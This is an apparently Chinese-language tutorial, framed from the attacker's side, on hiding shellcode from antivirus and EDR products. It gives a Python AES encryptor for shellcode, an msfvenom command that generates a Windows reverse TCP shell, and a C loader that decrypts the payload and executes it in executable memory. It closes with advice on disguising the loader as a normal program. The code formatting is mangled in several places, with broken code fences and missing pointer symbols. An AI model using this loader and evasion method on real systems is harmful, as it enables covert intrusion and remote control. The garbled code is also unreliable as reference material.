一、从检测到对抗:防御者的视角
在实际的企业安全防护中,EDR(Endpoint Detection and Response)和杀毒软件扮演了重要角色。它们通过分析二进制文件、监控内存行为、检测可疑流量等方式,试图拦截攻击者的恶意代码运行。然而,绝大多数检测机制都依赖于对攻击载荷的静态特征或行为模式进行匹配,比如常见的Shellcode签名、经典的恶意内存调用流程等。
从攻击者的角度看,只要能绕过这些检测点并伪装成正常行为,载荷运行基本就不会被拦截。因此,Shellcode加密免杀技术就成为绕过防御的重要手段:通过对Shellcode进行加密或变形,隐藏其静态特征,只有在目标环境中动态解密后才会触发实际攻击行为。
本文将带你从攻击者的视角,探索如何构造一个加密免杀的Shellcode,并绕过防御机制实现目标控制。

---
二、构造免杀载荷的核心思路

为什么需要加密?
Shellcode是一段精简的机器码,用于执行攻击者指定的功能,比如启动反弹Shell或下载恶意模块。然而,经典Shellcode通常会被EDR和杀毒软件直接拦截,因为这类代码有固定的特征,比如:
- WinAPI调用栈的显著特征(如
CreateProcess、VirtualAlloc等)。 - 静态模式匹配,基于常见的攻击Payload签名。
- 行为检测:大量内存分配和代码注入操作。
要绕过这些检测,攻击者的思路是对Shellcode的二进制内容进行加密或混淆,破坏其静态特征,使其看起来像正常数据。而加密后的Shellcode只有在运行时才会解密,这种行为对于静态分析工具来说几乎是透明的。
核心步骤概览
- 静态加密:使用加密算法对原始Shellcode进行加密处理。
- 免杀Loader:开发一个伪装良好的加载器,负责在目标环境中解密并执行Shellcode。
- 动态解密执行:在内存中解密Shellcode并利用反射技术进行执行。
- 流量伪装:隐藏恶意行为的网络特征,提高免杀效果。
接下来,我们将详细拆解这些步骤,并展示完整的代码实现。
---
三、实战环境搭建:从开发到测试
为了更好地验证Shellcode加密免杀技术,我们需要搭建一个可复现的实验环境,包括:
- 目标环境:Windows 10虚拟机,安装最新版的EDR和杀毒软件(如Windows Defender)。
- 开发工具:使用Python和C语言编写加密器和Loader。
- 测试工具:利用工具如Cobalt Strike、msfvenom生成Shellcode,测试加密效果。
安装环境
- Windows虚拟机:
- 选择Windows 10 Pro操作系统,安装64位版本。
- 更新至最新补丁,确保杀毒软件和EDR的规则库为最新。
- Python开发工具:
- C语言开发环境:
- 安装Visual Studio,选择“C++开发”模块。
- 准备好MinGW和GCC以支持编译跨平台代码。
<pre><code class="language-bash"> sudo apt update sudo apt install python3 python3-pip pip3 install pycryptodome `
---
四、Shellcode加密器的实现
加密思路
我们使用AES对Shellcode进行加密,静态签名将完全破坏。AES是一种对称加密算法,支持128位、192位和256位密钥长度。这里选用128位密钥进行加密,具体加密流程如下:
- 将生成的Shellcode转换为二进制。
- 使用AES加密,生成密文和解密密钥。
- 将加密后的Shellcode存储为二进制文件,供Loader使用。
Python代码实现
</code></pre>python from Crypto.Cipher import AES import os
def pad(data): """AES加密需要数据长度是16的倍数,填充一下""" return data + (16 - len(data) % 16) * b'\x00'
def encrypt_shellcode(shellcode, key): """AES加密Shellcode""" cipher = AES.new(key, AES.MODE_ECB) encrypted = cipher.encrypt(pad(shellcode)) return encrypted
def write_encrypted_shellcode(shellcode, output_file): """将加密后的Shellcode保存为文件""" with open(output_file, 'wb') as f: f.write(shellcode)
if __name__ == "__main__":
读取原始Shellcode二进制文件
with open('raw_shellcode.bin', 'rb') as f: raw_shellcode = f.read()
随机生成AES密钥(16字节)
aes_key = os.urandom(16) print(f"AES Key: {aes_key.hex()}")
加密Shellcode
encrypted_shellcode = encrypt_shellcode(raw_shellcode, aes_key) write_encrypted_shellcode(encrypted_shellcode, 'encrypted_shellcode.bin') print("Shellcode加密完成,保存到encrypted_shellcode.bin") <pre><code>
测试加密效果
- 使用
msfvenom生成一个反弹Shell的Shellcode: - 运行上述Python代码,将Shellcode加密。
- 确认加密后的文件中,数据已被完全混淆。
`bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o raw_shellcode.bin `

---
五、Loader的秘密:动态解密与执行
Loader设计思路
Loader的主要任务是:
- 在内存中加载加密后的Shellcode。
- 使用AES密钥进行解密,还原原始Shellcode。
- 利用Windows API进行动态内存分配和代码执行。
为了免杀,Loader需要伪装成正常程序(比如游戏、工具软件),并避免直接调用可疑API。
C代码实现
</code></pre>c
include <stdio.h>
include <stdlib.h>
include <windows.h>
include <aes.h>
void decrypt_shellcode(unsigned char encrypted, int len, unsigned char key, unsigned char* decrypted) { AES_KEY aes_key; AES_set_decrypt_key(key, 128, &aes_key); for (int i = 0; i < len; i += 16) { AES_decrypt(encrypted + i, decrypted + i, &aes_key); } }
int main() { // 加载加密的Shellcode FILE *file = fopen("encrypted_shellcode.bin", "rb"); if (!file) { printf("无法打开Shellcode文件\n"); return -1; }
fseek(file, 0, SEEK_END); int length = ftell(file); fseek(file, 0, SEEK_SET);
unsigned char *encrypted_shellcode = malloc(length); fread(encrypted_shellcode, 1, length, file); fclose(file);
// 解密Shellcode unsigned char aes_key[16] = { / AES密钥,需与加密时一致 / }; unsigned char *decrypted_shellcode = malloc(length); decrypt_shellcode(encrypted_shellcode, length, aes_key, decrypted_shellcode);
// 动态分配内存并执行解密后的Shellcode void *exec_mem = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(exec_mem, decrypted_shellcode, length);
((void(*)())exec_mem)(); return 0; } `
---
六、攻击者的经验总结
- 静态加密对免杀非常有效:大部分EDR无法直接识别加密后的Shellcode特征。
- 伪装Loader,提高隐蔽性:利用伪装程序名称和正常行为,可以进一步降低检测概率。
- 动态解密行为检测:部分高级EDR能通过行为分析发现动态解密操作,应考虑内存加载技术避免暴露。
攻击总是与防御交织在一起,对于攻击者而言,免杀技术是对抗之核心。希望本文能给你带来新的思路。